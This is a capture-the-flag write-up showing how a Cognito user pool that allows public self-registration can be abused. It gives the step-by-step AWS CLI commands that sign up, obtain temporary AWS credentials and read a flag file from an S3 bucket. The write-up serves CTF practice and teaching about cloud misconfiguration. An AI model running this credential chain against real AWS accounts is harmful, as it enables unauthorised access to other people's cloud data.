Writeup

The goal of this challenge is to access a file (flag.txt) stored in an Amazon S3 bucket by authenticating via Cognito, retrieve temporary AWS credentials, and use the credentials to read the flag from S3.

The misconfiguration is due to default public registration policy. It allows anyone to register to the Cognito user pool. That allows temporary credentials to the pool which allows access to the restricted resources.

Solve Steps

Get client-id from terraform file and use real email to receive the registration code

1. aws cognito-idp sign-up --client-id 4bjmgsip08ah118ugkau5p946b --username masoncc --password 'MasonCC' --user-attributes Name="email",Value="[email protected]" --region us-east-1

Get the registration code from the email

2. aws cognito-idp confirm-sign-up --client-id 4bjmgsip08ah118ugkau5p946b --username masoncc --confirmation-code 133713 --region us-east-1

Login and Get id-token

3. aws cognito-idp initiate-auth --region us-east-1 --auth-flow USER_PASSWORD_AUTH --client-id 4bjmgsip08ah118ugkau5p946b --auth-parameters USERNAME=masoncc,PASSWORD=MasonCC

Using id-token value, Get Cognito Id for authentication

4.aws cognito-identity get-id --identity-pool-id "us-east-1:b73a3094-c689-47e2-b9c4-311d5b7ee1ee" --region "us-east-1" --logins cognito-idp.us-east-1.amazonaws.com/us-east-1_uSid13Z6L=id-token-output-value-from-previous-step

Get Credentials For Identity using identity-id that we got from last step

5. aws cognito-identity get-credentials-for-identity --identity-id identity-id-output-value-from-last-step --logins cognito-idp.us-east-1.amazonaws.com/us-east-1_uSid13Z6L=id-token-output-value-from-step-3

USE AWS SECRETS and use AWS cli

export AWS_ACCESS_KEY_ID= export AWS_SESSION_TOKEN= export AWS_SECRET_ACCESS_KEY= aws s3 cp s3://patriot-ctf-cloud-ctf-challenge/flag.txt -

That should give the flag
